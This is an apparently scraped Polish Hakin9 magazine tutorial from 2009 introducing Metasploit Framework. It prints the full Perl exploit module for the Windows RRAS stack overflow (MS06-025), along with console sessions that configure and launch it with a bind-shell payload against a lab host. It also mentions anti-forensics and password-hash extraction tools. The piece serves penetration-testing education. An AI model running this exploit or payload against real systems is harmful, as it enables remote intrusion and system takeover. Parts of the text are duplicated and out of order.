Testy bezpieczeństwa aplikacji z wykorzystaniem MSF

10
20 HAKIN9 ATAK 4/2009 P rogram zbudowany z zaledwie kilkuset linijek może zawierać dziesiątki rozkazów umożliwiających wystąpienie tysięcy różnych błędów. Najgorsza sytuacja występuje w przypadku programów kontrolujących krytyczne procesy. Kod takiej aplikacji może zawierać od dziesiątków do milionów linii kodu źródłowego. Aplikacja taka może podjąć błędną decyzję, gdy przypadkowy układ sygnałów, który do niej doprowadzi, nie został dostatecznie przetestowany. Programista mógł prawidłowo zaprojektować złą reakcję lub w ogóle nie przewidzieć wystąpienia danej sytuacji. Ten typ defektu programu jest najtrudniejszy do całkowitego wyeliminowania. Jak poważne konsekwencje mogą wywołać źle napisane programy, niech posłużą temu poniższe przykłady. Niepowodzenia rakiet Patriot przy przechwytywaniu irackich rakiet Scud przypisano efektom nagromadzenia się niedokładności w pracy wewnętrznego zegara komputera. Komputer działał zgodnie z przyjętymi założeniami – przewidywano, że będzie on wyłączany i włączany dostatecznie często, by kumulacja błędu nie była nigdy niebezpieczna. Ponieważ został zastosowany w sposób pierwotnie nieprzewidziany, niewielka niedokładność stała się poważnym problemem. Jeden błędny bit w programie kontrolującym lot rakiety Atlas, która wyniosła w przestrzeń kosmiczną pierwszą amerykańską sondę GRZEGORZ GAŁĘZOWSKI Z ARTYKUŁU DOWIESZ SIĘ czym jest ceniony pakiet narzędzi hakerskich Metasploit Framework, jak na konkretnym przykładzie używać tego pakietu do przeprowadzania testu wykrycia podatności na lukę RRAS Stack Overflow w systemach MS Windows. CO POWINIENEŚ WIEDZIEĆ wskazana jest praktyczna znajomość choćby podstaw programowania w języku C++, znajomość systemu operacyjnego Linux lub MS Windows. międzyplanetarną Mariner 1, spowodował jej zejście z właściwego kursu. W konsekwencji zarówno rakieta, jak i sonda uległy zniszczeniu wkrótce po starcie. Wytwarzane obecnie oprogramowanie staje się coraz bardziej złożone i coraz trudniej jest sprawić, aby było niezawodne. Testowanie kodu umożliwia szybkie wykrywanie błędów, a także kontrolę poprawnego funkcjonowania aplikacji. Dlatego ważne jest, by dostatecznie dobrze przetestować aplikację pod każdym względem, szczególnie jeżeli od jej działania zależeć będzie bezpieczeństwo i życie ludzi. Historia Metasploit Framework (MSF) Projekt Metasploit został pierwotnie stworzony przez czterech programistów jako sieć do testów bezpieczeństwa. Następnie był stopniowo rozwijany w ramach licencji Perl. Stabilna wersja produktu została wydana w czerwcu 2004 roku. Od tego czasu rozwój produktu oraz dodawanie nowych elementów następuje bardzo szybko. Projekt Metasploit powstał w ramach grupy badawczej mającej zajmować się tworzeniem narzędzi związanych z bezpieczeństwem i lukami w systemach bezpieczeństwa. Najbardziej znanym projektem tej grupy jest oprogramowanie Metasploit Framework (MSF), rozpowszechniane przez głównych autorów tego projektu, którymi są programiści Stopień trudności Testy bezpieczeństwa aplikacji z wykorzystaniem MSF Wytworzenie idealnego oprogramowania wciąż pozostaje marzeniem trudnym do zrealizowania. Pomimo rygorystycznego i systematycznego testowania, większość zarówno dużych, jak i nawet małych programów zawiera duże liczby błędów. Przyczyną tego jest złożoność ich kodów źródłowych.

description

wykorzystaniem MSF Wytworzenie idealnego oprogramowania wciąż pozostaje marzeniem trudnym do zrealizowania. Pomimo rygorystycznego i systematycznego testowania, większość zarówno dużych, jak i nawet małych programów zawiera duże liczby błędów. Przyczyną tego jest złożoność ich kodów źródłowych.

Transcript of Testy bezpieczeństwa aplikacji z wykorzystaniem MSF

20 HAKIN9

ATAK

4/2009

Program zbudowany z zaledwie kilkuset linijek może zawierać dziesiątki rozkazów umożliwiających wystąpienie tysięcy

różnych błędów. Najgorsza sytuacja występuje w przypadku programów kontrolujących krytyczne procesy. Kod takiej aplikacji może zawierać od dziesiątków do milionów linii kodu źródłowego. Aplikacja taka może podjąć błędną decyzję, gdy przypadkowy układ sygnałów, który do niej doprowadzi, nie został dostatecznie przetestowany. Programista mógł prawidłowo zaprojektować złą reakcję lub w ogóle nie przewidzieć wystąpienia danej sytuacji. Ten typ defektu programu jest najtrudniejszy do całkowitego wyeliminowania.

Jak poważne konsekwencje mogą wywołać źle napisane programy, niech posłużą temu poniższe przykłady.

Niepowodzenia rakiet Patriot przy przechwytywaniu irackich rakiet Scud przypisano efektom nagromadzenia się niedokładności w pracy wewnętrznego zegara komputera. Komputer działał zgodnie z przyjętymi założeniami – przewidywano, że będzie on wyłączany i włączany dostatecznie często, by kumulacja błędu nie była nigdy niebezpieczna. Ponieważ został zastosowany w sposób pierwotnie nieprzewidziany, niewielka niedokładność stała się poważnym problemem.

Jeden błędny bit w programie kontrolującym lot rakiety Atlas, która wyniosła w przestrzeń kosmiczną pierwszą amerykańską sondę

GRZEGORZ GAŁĘZOWSKI

Z ARTYKUŁU DOWIESZ SIĘczym jest ceniony pakiet narzędzi hakerskich Metasploit Framework,

jak na konkretnym przykładzie używać tego pakietu do przeprowadzania testu wykrycia podatności na lukę RRAS Stack Overflow w systemach MS Windows.

CO POWINIENEŚ WIEDZIEĆwskazana jest praktyczna znajomość choćby podstaw programowania w języku C++,

znajomość systemu operacyjnego Linux lub MS Windows.

międzyplanetarną Mariner 1, spowodował jej zejście z właściwego kursu. W konsekwencji zarówno rakieta, jak i sonda uległy zniszczeniu wkrótce po starcie.

Wytwarzane obecnie oprogramowanie staje się coraz bardziej złożone i coraz trudniej jest sprawić, aby było niezawodne. Testowanie kodu umożliwia szybkie wykrywanie błędów, a także kontrolę poprawnego funkcjonowania aplikacji. Dlatego ważne jest , by dostatecznie dobrze przetestować aplikację pod każdym względem, szczególnie jeżeli od jej działania zależeć będzie bezpieczeństwo i życie ludzi.

Historia Metasploit Framework (MSF)Projekt Metasploit został pierwotnie stworzony przez czterech programistów jako sieć do testów bezpieczeństwa. Następnie był stopniowo rozwijany w ramach licencji Perl. Stabilna wersja produktu została wydana w czerwcu 2004 roku. Od tego czasu rozwój produktu oraz dodawanie nowych elementów następuje bardzo szybko.

Projekt Metasploit powstał w ramach grupy badawczej mającej zajmować się tworzeniem narzędzi związanych z bezpieczeństwem i lukami w systemach bezpieczeństwa. Najbardziej znanym projektem tej grupy jest oprogramowanie Metasploit Framework (MSF), rozpowszechniane przez głównych autorów tego projektu, którymi są programiści

Stopień trudności

Testy bezpieczeństwa aplikacji z wykorzystaniem MSFWytworzenie idealnego oprogramowania wciąż pozostaje marzeniem trudnym do zrealizowania. Pomimo rygorystycznego i systematycznego testowania, większość zarówno dużych, jak i nawet małych programów zawiera duże liczby błędów. Przyczyną tego jest złożoność ich kodów źródłowych.

21 HAKIN9

TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF

4/2009

ukrywający się pod pseudonimami Spoonm i HD Moore, na zasadach otwar tego kodu źródłowego.

MSF został pierwotnie napisany w języku skryptowym Perl i obejmował różnego rodzaju elementy napisane w języku C, asembler i Python. Licencja projektu została tak skonstruowana, że – w ramach licencji GPL v2 i Perl może być wykorzystywany zarówno w projektach open-source, jak i komercyjnych. Od wersji 3.0 MSF jest całkowicie od nowa napisany w języku Ruby i został wyposażony w szeroką gamę inter fejsów API. Licencja tego produktu jest teraz bliższa tym obowiązującym w przypadku oprogramowania komercyjnego.

MSF można jednak wykorzystywać do własnego użytku, zachowano też prawo do swobodnego rozpowszechniania. Zabronione jest sprzedawanie MSF w jakiejkolwiek formie oraz integracja w pakietach komercyjnych (w oprogramowaniu, urządzeniu czy też w innej formie).

Wprawdzie początkowo w ramach tego projektu nie powstał żaden system wsparcia dla programistów, ale począwszy od wersji sytuacja się zmieniła, a wbudowana pomoc ma naprawdę szerokie możliwości.

Oprogramowanie MSF zostało stworzone, by dostarczyć programistom platformy do pisania oprogramowania wyszukującego luki w systemach bezpieczeństwa. Dzięki temu ułatwia ono ludziom zawodowo zajmującym się problemami bezpieczeństwa i badaczom szybkie pisanie odpowiednich narzędzi. Na najbardziej podstawowym poziomie system MSF dostarcza rozbudowanego inter fejsu API umożliwiającego określanie różnych parametrów ataku wykrywającego lukę. Wielu spośród jego komponentów można używać wielokrotnie w różnych zestawieniach. Przykładami mogą być moduły generujące treść pakietów, przetwarzające ją, generatory NOP, biblioteki protokołów i procedury szyfrujące. Oprogramowanie MSF dostarcza szerokiego zestawu wydajnych komponentów, których można używać podczas programowania ataków testowych. Aby ułatwić szybkie tworzenie modułów i umożliwić ich wielokrotne wykorzystywanie, wszystkie komponenty

pisane są w obiektowym języku Perl, wykorzystującym dynamiczne ładowanie.

Celem MSF jest umożliwienie ustawiania wartości parametrów definiowanych przez użytkownika i uruchamiania modułów testujących, tak aby móc kontrolować, w jaki sposób atak jest przeprowadzany.

Budowa Metasploit FrameworkPodstawowym elementem Metasploit Framework (MSF) jest DataStore. Cały system jest logicznie podzielony na globalne elementy i moduły składowania danych.

Poniżej wymieniono najważniejsze elementy w pakiecie Metasploit :

Rysunek 1. Interfejs msfconsole w systemie Linux

Rysunek 2. Interfejs msfweb

ATAK

22 HAKIN9 4/2009

TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF

23 HAKIN9 4/2009

• msfcli – inter fejs poleceń, w którym wydawane są komendy wraz z opcjami,

• msfconsole – shell systemowy MSF (Rysunek 1). Oferuje dopełnianie poleceń (ang. tab completion ),

• msfdldebug – ładuje symbole debugowania dla plików systemu MS Windows,

• msflogdump – program do analizowania logów generowanych przez MSF,

• msfencode – testuje moduły kodujące. Dzięki niemu można zrozumieć kodowanie pakietów w MSF,

• msfpayload – umożliwia testowanie pakietów generowanych przez moduł kodujący,

• msfpayload.cgi – to samo co powyżej, tyle że w postaci programu CGI, który może być wykonywany z poziomu przeglądarki WWW po uprzednim umieszczeniu na serwerze Web,

• msfpescan – narzędzie do odnajdywania dopasowań opkodów w plikach wykonywalnych Windows PE. Opkody są wykorzystywane jako instrukcje powrotne w czasie przeskakiwania do kodu powłoki,

• msfupdate – program aktualizacyjny. Pobiera aktualizacje do oprogramowania MSF, łączy się ze stroną projektu przez protokół HTTPS.

• msfweb – inter fejs Metasploit w formie strony WWW, dostępny dla różnych przeglądarek internetowych (Rysunek 2).

Poszczególne katalogi dostępne poprzez inter fejs przechowują następujące informacje:

• /data – katalog plików związanych z obsługą treści przesyłanej w pakietach,

• /docs – jak sama nazwa wskazuje, jest to katalog dokumentacji. W tym miejscu znajdziemy informacje na temat obsługi inter fejsów i narzędzi MSF,

• /encoders – zbiór modułów kodujących, które zajmują się obsługą danych w przesyłanych pakietach,

Listing 1. Wykorzystanie parametrów LPORT i LHOST

msf > setg LPORT 1234

LPORT -> 1234

msf > setg LHOST 192.168.10.10

LHOST -> 192.168.10.10

msf > setg PAYLOAD win32_reverse

PAYLOAD -> win32_reverse

msf > use apache_chunked_win32

msf apache_chunked_win32(win32_reverse) > show options

Exploit and Payload Options

===========================

Exploit: Name Default Description

-------- ------ ------- ------------------

optional SSL Use SSL

required RHOST The target address

required RPORT 80 The target port

Payload: Name Default Description

-------- -------- ------- ------------------------------------------

optional EXITFUNC seh Exit technique: "process", "thread", "seh"

required LPORT 123 Local port to receive connection

required LHOST 192.168.10.10 Local address to receive connection

Rysunek 3. Strona Metasploit Opcode Database

Lista podstawowych komend Metasploit FrameworkLista podstawowych komend Metasploit Framework:

• ? – wyświetla pomoc z poziomu konsoli,• cd – zmiana katalogu roboczego,• exit – wyjście z konsoli,• help – pomoc dostępna z poziomu konsoli,• info – wyświetla szczegóły na temat payloadu lub exploita,• quit – wyjście z konsoli,• reload – przeładowanie payloadu lub exploita,• save – zapisanie konfiguracji na dysku,• setg – ustawienia globalne zmiennych środowiskowych,• show – wyświetla dostępne exploity i payloady,• unsetg – usuwa ustawienia globalnych zmiennych środowiskowych,• use – użyj wybranego exploita o określonej nazwie,• version – wyświetla informację o wersji.

ATAK

22 HAKIN9 4/2009

TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF

23 HAKIN9 4/2009

Listing 2a. Windows RRAS Stack Overflow (Exploit, MS06-025)

##

# This file is part of the Metasploit Framework and may be

redistributed

# according to the licenses defined in the Authors field below.

In the

# case of an unknown or missing license, this file defaults to

the same

# license as the core Framework (dual GPLv2 and Artistic). The

latest

# version of the Framework can always be obtained from

metasploit.com.

##

package Msf::Exploit::rras_ms06_025;

use base "Msf::Exploit";

use strict;

use Pex::DCERPC;

use Pex::NDR;

my $advanced = {

'FragSize' => [ 256, 'The DCERPC fragment size' ],

'BindEvasion' => [ 0, 'IDS Evasion of the Bind request' ],

'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ],

};

my $info = {

'Name' => 'Microsoft RRAS MSO6-025 Stack Overflow',

'Version' => '$Revision: 1.1 $',

'Authors' =>

[

'Nicolas Pouvesle <nicolas.pouvesle [at] gmail.com>',

'H D Moore <hdm [at] metasploit.com>'

],

'Arch' => ['x86'],

'OS' => [ 'win32', 'win2000', 'winxp' ],

'Priv' => 1,

'AutoOpts' => { 'EXITFUNC' => 'thread' },

'UserOpts' => {

'RHOST' => [ 1, 'ADDR', 'The target address' ],

# SMB connection options

'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with',

'' ],

'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB

username',''],

'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB

username', '' ],

'SMBPIPE' => [ 1, 'DATA', 'The pipe name to use (2000=ROUTER,

XP=SRVSVC)', 'ROUTER' ],

},

'Payload' => {

'Space' => 1104,

'BadChars' => "\x00",

'Keys' => ['+ws2ord'],

# sub esp, 4097 + inc esp makes stack happy

'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",

},

'Description' => Pex::Text::Freeform(

qq{

This module exploits a stack overflow in the Windows Routing and

Remote

Access Service. Since the service is hosted inside svchost.exe,

a failed

exploit attempt can cause other system services to fail as

well. A valid

username and password is required to exploit this flaw on

Windows 2000.

When attacking XP SP1, the SMBPIPE option needs to be set to

'SRVSVC'.

}

),

'Refs' =>

[

[ 'BID', '18325' ],

[ 'CVE', '2006-2370' ],

[ 'OSVDB', '26437' ],

[ 'MSB', 'MS06-025' ]

],

'DefaultTarget' => 0,

'Targets' =>

[

[ 'Automatic' ],

[ 'Windows 2000', 0x7571c1e4 ], # pop/pop/ret

[ 'Windows XP SP1', 0x7248d4cc ], # pop/pop/ret

],

'Keys' => ['rras'],

'DisclosureDate' => 'Jun 13 2006',

};

sub new {

my ($class) = @_;

my $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' =>

$advanced }, @_ );

return ($self);

}

sub Exploit {

my ($self) = @_;

my $target_host = $self->GetVar('RHOST');

my $target_port = $self->GetVar('RPORT');

my $target_idx = $self->GetVar('TARGET');

my $shellcode = $self->GetVar('EncodedPayload')->Payload;

my $target = $self->Targets->[$target_idx];

my $FragSize = $self->GetVar('FragSize') || 256;

my $target = $self->Targets->[$target_idx];

my ( $res, $rpc );

if ( !$self->InitNops(128) ) {

$self->PrintLine("[*] Failed to initialize the nop module.");

return;

}

my $pipe = "\\" . $self->GetVar("SMBPIPE");

my $uuid = '20610036-fa22-11cf-9823-00a0c911e5df';

my $version = '1.0';

my $handle =

Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np',

$target_host,

$pipe );

my $dce = Pex::DCERPC->new(

'handle' => $handle,

ATAK

24 HAKIN9 4/2009

TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF

25 HAKIN9 4/2009

• /exploits – przechowuje wszystkie testowe moduły ataków,

• /lib – biblioteki tworzące rdzeń MSF,• /extra – mniej potrzebne przy pracy

moduły Net-SSL i Term-ReadLine-Gnu Perl,

• /nops – katalog z modułami, które generują bufory NOP (No Operation), wykorzystywane w atakach do zwiększenia ich „odporności”,

• /payloads – moduły implementujące różne akcje, które mogą zostać wykonane w czasie ataku,

• /sdk – ten katalog zawiera samouczek omawiający sposoby pisania modułów do nietypowych ataków,

• /src – tutaj znajdziemy różne

przykłady i inne elementy wykorzystywane przez MSF,

• /tools – zbiór narzędzi Socket Ninja i memdump. Socket Ninja jest multiplekserowym menedżerem gniazd, a program memdump pobiera segmenty pamięci z działających procesów Windows.

MSF konkuruje bezpośrednio z takimi komercyjnymi produktami, jak Immunity's CANVAS lub Core Security Technology's Core Impact. Jednakże istnieje zasadnicza różnica pomiędzy tymi dwoma grupami pod względem funkcjonalności. Wymienione aplikacje komercyjne pozwalają w przyjazny sposób używać graficznych inter fejsów

użytkownika i posiadają szereg rozbudowanych możliwości rapor towania. Warto jednak mieć na uwadze, że MSF jest przede wszystkim plat formą do wykorzystania i opracowania nowych modułów testujących bezpieczeństwo aplikacji. Ponadto jest również plat formą do projektowania narzędzi analitycznych, które umożliwiają badanie i rozwój nowych technik testowania bezpieczeństwa. Dlatego nie posiada tak rozbudowanych graficznych inter fejsów, jak jego komercyjna konkurencja.

Ten system pozwala zaoszczędzić czas przeznaczony na rozwój własnych środowisk, które mogą być wykorzystane w testach penetracyjnych. Wspólne opcje mogą być definiowane w globalnym

Listing 2b. Windows RRAS Stack Overflow (Exploit, MS06-025)

'username' => $self->GetVar('SMBUSER'),

'password' => $self->GetVar('SMBPASS'),

'domain' => $self->GetVar('SMBDOM'),

'fragsize' => $self->GetVar('FragSize'),

'bindevasion' => $self->GetVar('BindEvasion'),

'directsmb' => $self->GetVar('DirectSMB'),

);

if ( !$dce ) {

$self->PrintLine("[*] Could not bind to $handle");

return;

}

my $smb = $dce->{'_handles'}{$handle}{'connection'};

if ( $target->[0] =~ /Auto/ ) {

if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {

$target = $self->Targets->[1];

$self->PrintLine('[*] Detected a Windows 2000 target...');

}

elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {

$target = $self->Targets->[2];

$self->PrintLine('[*] Detected a Windows XP target...');

}

else {

$self->PrintLine( '[*] No target available : ' . $smb-

>PeerNativeOS()

);

return;

}

}

my $pattern = '';

if ($target->[0] =~ /Windows 2000/) {

$pattern =

pack( 'V', 1 ) .

pack( 'V', 0x49 ) .

$shellcode .

"\xeb\x06" .

Pex::Text::AlphaNumText(2).

pack( 'V', $target->[1] ) .

"\xe9\xb7\xfb\xff\xff" ;

} elsif( $target->[0] =~ /Windows XP/) {

$pattern =

pack( 'V', 1 ) .

pack( 'V', 0x49 ) .

Pex::Text::AlphaNumText(0x4c).

"\xeb\x06" .

Pex::Text::AlphaNumText(2).

pack( 'V', $target->[1] ) .

$shellcode;

} else {

self->PrintLine( '[*] No target available...');

return;

}

# need to produce an exception

my $request = $pattern . Pex::Text::AlphaNumText(0x4000 -

length($pattern));

my $len = length ($request);

my $stub =

Pex::NDR::Long( int( 0x20000 ) )

. Pex::NDR::Long( int( $len ) )

. $request

. Pex::NDR::Long( int( $len ) );

$self->PrintLine("[*] Sending request...");

my @response = $dce->request( $handle, 0x0C, $stub );

if (@response) {

$self->PrintLine('[*] RPC server responded with:');

foreach my $line (@response) {

$self->PrintLine( '[*] ' . $line );

}

$self->PrintLine('[*] This probably means that the system is

patched');

}

return;

}

ATAK

24 HAKIN9 4/2009

TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF

25 HAKIN9 4/2009

środowisku i automatycznie później wykorzystane za każdym następnym załadowaniem.

Poniższy przykład (Listing 1) pokazuje, w jaki sposób można wykorzystać parametry LPORT i LHOST.

Projekt Metasploit składa się nie tylko z MSF. Obecnie obejmuje on również komponenty opisane poniżej.

Metasploit Opcode DatabaseTen webowy inter fejs jest prawdopodobnie najbardziej kompleksową bazą dostępnych opcode , pozwala użytkownikowi na wyszukiwanie opkodów z zestawu modułów – na podstawie klas opcode.

Obecnie baza danych składa się z ponad 14 mln opcodes , obejmujących 320 różnych

typów opcode i 14 systemów operacyjnych. Jest ona dostępna w Internecie pod adresem

www.metasploit .com/opcode_database.html (Rysunek 3).

W obecnej wersji w ramach msfopcode zapewniono również dostęp do inter fejsu

bazy danych w trybie online bezpośrednio z linii poleceń.

Metasploit Anti-forensicsJest to zbiór narzędzi i dokumentów, które pomogą utrudnić przeprowadzenie w stosunku do zaatakowanego systemu tzw. analizy sądowej. Narzędzia są dopuszczone jako część pakietu Metasploit Anti-Forensic Investigation Arsenal (MAFIA). W skład pakietu wchodzą:

• Timestomp – narzędzie, które umożliwia analizę oraz modyfikowanie znaczników plików przechowywanych w systemie NTFS,

• Slacker – narzędzie, które pozwala ukryć dane w niezapełnionym fragmencie bloku (ang. slack space ) systemu plików NTFS,

• Sam Juicer – moduł, który pozwala na odczytanie skrótów haseł z pliku SAM bez jakiejkolwiek ingerencji w dysk twardy (łącznie z odczytem).

Jednym z najciekawszych nowych dodatków do MSF od wersji 3.0

jest moduł Recon. Komponent ten, wspomagany przez Nmap i Nessus, może pomóc w identyfikacji poszczególnych hostów w sieci, uruchomionych usług,

otwartych portów i dostępnych wersji. Ponadto dostępne są moduły Recon odpowiedzialne za skanowanie portów i ocenianie słabości skanowanych hostów.

Rysunek 4. msfconsole w systemie MS Windows

Listing 3. Wyszukiwanie nazwy exploita RRAS

msf > show exploits

Exploits

========

Name Description

---- -----------

...

windows/smb/ms04_011_lsass Microsoft LSASS Service

DsRolerUpgradeDownlevelServer Overflow

windows/smb/ms04_031_netdde Microsoft NetDDE Service

Overflow

windows/smb/ms05_039_pnp Microsoft Plug and Play Service

Overflow

windows/smb/ms06_025_rasmans_reg Microsoft RRAS Service RASMAN

Registry Overflow

windows/smb/ms06_025_rras Microsoft RRAS Service Overflow

windows/smb/ms06_040_netapi Microsoft Server Service

NetpwPathCanonicalize Overflow

Listing 4. Przejście do bezpośredniej obsługi wybranego modułu

msf > use windows/smb/ms06_025_rras

msf exploit(ms06_025_rras) >

Exploity wykorzystują różne opcje. Sprawdzimy jakie opcje powinny być ustawione dla

exploita RRAS:

msf exploit(ms06_025_rras) > show options

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)

ATAK

26 HAKIN9 4/2009

TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF

27 HAKIN9 4/2009

Istnieje silna inicjatywa opracowania korelacji silnika, który będzie klasyfikował i koordynował informacje otrzymane z modułu Recon z wydarzeniami zachodzącymi w sieci. Na przykład, aby wykorzystywać to w sytuacjach, kiedy automatycznie zostanie wykryte zagrożenie danego por tu w testowanej sieci. Dodatkowo korelacja tego silnika jest realizowana w taki sposób, że informacje na temat stanu sieci mogą być przechowywane w bazie danych.

Po zainstalowaniu MSF mamy do dyspozycji trzy środowiska pracy – msfconsole , msfcli i inter fejs WWW msfweb . Jednakże podstawowym (i preferowanym) obszarem roboczym MSF jest msfconsole. Jest to wydajny inter fejs wiersza poleceń, który ma swój własny

zestaw komend systemu i środowiska. Został zaprojektowany do uruchamiania w systemach uniksowych, takich jak Linux lub BSD, można go również uruchomić w systemie Windows poprzez środowisko Cygwin. Instalator dla wersji Windows zawiera wstępnie skonfigurowaną wersję Cygwin. Jeżeli uruchomimy konsolę i wszystko zadziała bez problemów, ujrzymy obraz podobny do pokazanego na Rysunku 4.

Teraz wszystkie polecenia dla msfconsole są aktywne. Konsola jest bardzo elastyczna, a jeśli użytkownik wprowadzi nieznane polecenia, będą one wyszukiwane w zmiennej środowiskowej PATH i dopasowane dla każdego pliku wykonywalnego. Jeśli zostanie znaleziony pasujący plik, następuje jego wykonanie

– podobnie jak standardowego polecenia.

Instynktownie wpisując polecenie help, uzyskamy listę dostępnych poleceń, tak jak pokazano na Rysunku 5.

RRAS Stack Overflow (Exploit, MS06-025)Istnieje luka w zabezpieczeniach, która daje możliwość zdalnego wywołania kodu w wyniku zaatakowania usługi Routing i zdalny dostęp. Umożliwia to osobie atakującej i wykorzystującej tę lukę na uzyskanie dostępu do systemu.

Zagrożone systemy:

• Microsof t Windows 2000 Service Pack 4,

• Microsof t Windows XP Service Pack 1 i Microsof t Windows XP Service Pack 2,

• Microsof t Windows XP Professional x64 Edition,

• Microsof t Windows Server 2003 i Microsof t Windows Server 2003 z dodatkiem Service Pack 1 (także w wersji dla komputerów z procesorem Itanium),

• Microsof t Windows Server 2003 x64 Edition

Pełny kod programu wykorzystującego lukę RRAS Stack Over flow obejrzeć można na Listingu 2.

Teraz opiszę procedurę, która pozwala wybrać opisany exploit , a następnie go uruchomić. Interesujące nas polecenia, które pozwolą rozpocząć pracę to:

show <exploits | payloads>

info <exploit | payload> <name>

use <exploit-name>

Inne komendy możemy poznać za pomocą polecenia help. Zaczniemy od znalezienia nazwy dla np. exploita RRAS (Listing 3).

Na liście exploitów możemy odnaleźć Windows/smb/ms06_025_rras . Możemy go wybrać przy pomocy komendy use i następnie przejść do tr ybu bezpośredniej obsługi wybranego modułu – odpowiednie polecenia pokazane są na Listingu 4.

Listing 5. Przegląd modułów Payloads

msf exploit(ms06_025_rras) > show payloads

Compatible payloads

===================

...

windows/shell_bind_tcp Windows Command Shell, Bind TCP Inline

windows/shell_bind_tcp_xpfw Windows Disable Windows ICF, Command

Shell, Bind TCP Inline

windows/shell_reverse_tcp Windows Command Shell, Reverse TCP

Inline

...

Listing 6. Wybór exploita do atakowania zdalnego hosta

msf exploit(ms06_025_rras) > set PAYLOAD windows/shell_bind_tcp

PAYLOAD => windows/shell_bind_tcp

msf exploit(ms06_025_rras) > show options

Module options:

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST 192.168.1.20 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)

Payload options:

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC thread yes Exit technique: seh, thread, process

LPORT 4444 yes The local port

Listing 7. Sprawdzamy podatne na exploit systemy operacyjne

msf exploit(ms06_025_rras) > show targets

Exploit targets:

Id Name

-- ----

0 Windows 2000 SP4

1 Windows XP SP1

msf exploit(ms06_025_rras) > set TARGET 1

TARGET => 1

msf exploit(ms06_025_rras) > exploit

[*] Started bind handler

[-] Exploit failed: Login Failed: The SMB server did not reply to our request

ATAK

26 HAKIN9 4/2009

TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF

27 HAKIN9 4/2009

Exploit wymaga podania adresu atakowanego celu i numeru por tu SMB (ang. Server Message Block ), który wykorzystywany jest do nasłuchu.

Ustawimy cel ataku i podamy jego adres IP:

msf exploit(ms06_025_rras) > set

RHOST 192.168.1.20

RHOST => 192.168.1.20

Składnia ustawień wygląda następująco:

Set <OPTION_NAME> <OPTION_VALUE>

W przykładzie użyjemy modułu, który otwiera polecenie powłoki i nasłuchuje na określonym porcie TCP.

Przejrzymy teraz (Listing 5) dostępne sposoby zaatakowania ofiary przy pomocy poszczególnych ładunków (ang. payloads ) złośliwego kodu.

Na Listingu widoczne są trzy moduły, z których każdy może być używany do załadowania wbudowanej komendy powłoki. Użycie słowa inline oznacza tutaj polecenie powłoki, która jest ustawiona w tryb roundtrip .

Kolejną czynnością będzie wybór exploita, przy którego pomocy zaatakujemy zdalny host. Sprawdzimy też dostępne opcje (Listing 6).

Exploit jest już skonfigurowany. Teraz musimy zdefiniować rodzaj atakowanego systemu. Metasploit wykorzystuje pewne uniwersalne typy, dzięki czemu praca na wszystkich plat formach systemowych jest podobna. Listing 7. pokazuje, w jaki sposób sprawdzić podatne na exploit systemy operacyjne.

Windows XP z dodatkiem SP1, zgodnie z Microsoft Security Bulletin, jest dość podatny na wspomniany atak. Przyjrzyjmy się bliżej, jak to wykorzystać (Listing 8).

Opis exploita wskazuje, że w przypadku XP z SP1, w SMBPIPE opcja musi być ustawiona na SRVSVC. Metasploit w wersji 3 dodaje kilka modułów pomocniczych, z których jeden jest narzędziem do obsługi potoków.

Użyjemy go do tego, by sprawdzić czy ROUTER jest narażony na zdalny atak (Listing 9).

Teraz przyszła kolej na sprawdzenie narażonych na atak potoków w systemie

Windows XP. Niezbędne polecenia i ich wyniki przedstawia Listing 10.

Zajmiemy się potokiem SRVSVC. Niestety zadziała tylko w przypadku wyłączonej ściany ogniowej (Listing 11).

Połączenie zadziałało, możemy sprawdzić to za pomocą netstat:

C:\tools>netstat -an | findstr .20 |

findstr ESTAB

TCP 192.168.1.13:3999 192.168.1.20:

4444 ESTABLISHED

PodsumowanieGłówne cechy MSF:

• jest napisany przede wszystkim w Perlu (niektóre części w Pythonie i C), co oznacza możliwość szybkiego rozwoju wtyczek,

• wsparcie dla zewnętrznych narzędzi, bibliotek i funkcji, takich jak np. debugowanie, kodowanie, SSL,

• zrozumiałe, intuicyjne, modułowe i rozszerzalne API dla środowiska

Rysunek 5. msfconsole i polecenie help

Listing 8. Sprawdzamy informacje na temat możliwości wykorzystania exploita

msf exploit(ms06_025_rras) > info

Name: Microsoft RRAS Service Overflow

Version: 4498

Platform: Windows

Privileged: Yes

License: Metasploit Framework License

Provided by:

Nicolas Pouvesle <[email protected]>

hdm <[email protected]>

Available targets:

Id Name

-- ----

0 Windows 2000 SP4

1 Windows XP SP1

Basic options:

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST 192.168.1.20 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)

Payload information:

Space: 1104

Avoid: 1 characters

ATAK

28 HAKIN9 4/2009

TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF

29 HAKIN9 4/2009

programistycznego,• jest wysoce zoptymalizowany pod

różne środowiska systemowe, ma budowę modułową,

• rozszerzona obsługa i dobre wsparcie, które naprawdę pozwalają skrócić czas wykorzystania kodu do własnych potrzeb,

• wsparcie dla różnych protokołów sieciowych i opcji, które mogą być wykorzystane do opracowania własnych elementów,

